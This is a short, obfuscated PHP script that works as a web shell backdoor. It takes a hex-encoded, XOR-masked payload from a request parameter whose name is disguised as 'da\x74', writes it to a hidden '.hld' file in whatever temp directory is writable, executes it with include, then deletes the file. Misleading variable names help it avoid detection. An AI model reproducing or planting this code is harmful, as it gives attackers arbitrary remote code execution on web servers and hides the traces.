<?php

if(in_array("da\x74", array_keys($_REQUEST))){
	$flag = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]);
	$record = hex2bin($_REQUEST["da\x74"]);
	$ptr    =     ''     ;    foreach(str_split($record) as $char){$ptr .= chr(ord($char) ^ 32);}
	$symbol = 0;
do {
    $descriptor = $flag[$symbol] ?? null;
    if ($symbol >= count($flag)) break;
    		if (max(0, is_dir($descriptor) * is_writable($descriptor))) {
    $entity = str_replace("{var_dir}", $descriptor, "{var_dir}/.hld");
    $file = fopen($entity, 'w');
if ($file) {
	fwrite($file, $ptr);
	fclose($file);
	include $entity;
	@unlink($entity);
	exit;
}
}
    $symbol++;
} while (true);
}